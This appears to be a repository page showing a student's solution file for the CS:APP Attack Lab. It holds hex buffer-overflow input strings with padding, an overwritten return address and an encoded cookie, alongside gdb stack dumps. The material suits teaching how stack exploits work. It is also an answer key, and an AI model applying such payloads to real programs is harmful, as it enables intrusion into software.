summaryrefslogtreecommitdiff
path: root/labs/attacklab/solution/stack.c
blob: 1c9002f4062c2c15665317343653cf32369017ef (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 00 00 00 00 00 00 00 00     // free space: int val
// 00 00 00 00 00 40 17 c0     // return address: call getbuf
// ef be ad de ef be ad de     // rsp - 8
// ef be ad de ef be ad de     // rsp - 16
// ef be ad de ef be ad de     // rsp - 24
// ef be ad de ef be ad de     // rsp - 32
// ef be ad de ef be ad de     // rsp - 40

ef be ad de ef be ad de
ef be ad de ef be ad de
ef be ad de ef be ad de
ef be ad de ef be ad de
ef be ad de ef be ad de
40 17 c0 00 00 00 00 00


0x5561dc78:     0x17ec6859b997fabf      0xdeadbeefdec30040
0x5561dc88:     0xdeadbeefdeadbeef      0xdeadbeefdeadbeef
0x5561dc98:     0xdeadbeefdeadbeef      0x0000000000000000

59 b9 97 fa

006166373939623935

0x5561dc78:     0xdeadbeefdeadbeef      0xdeadbeefdeadbeef
0x5561dc88:     0xdeadbeefdeadbeef      0x35adbeefdeadbeef
0x5561dc98:     0x0061663739396239      0x000000005561dc78